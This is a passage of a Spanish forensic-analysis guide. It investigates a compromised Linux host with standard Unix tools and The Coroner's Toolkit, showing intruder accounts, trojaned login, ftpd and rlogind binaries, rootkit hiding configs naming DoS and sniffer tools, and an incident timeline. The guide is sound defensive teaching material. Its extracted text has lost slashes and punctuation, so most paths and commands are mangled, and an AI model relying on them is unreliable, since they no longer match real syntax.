Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

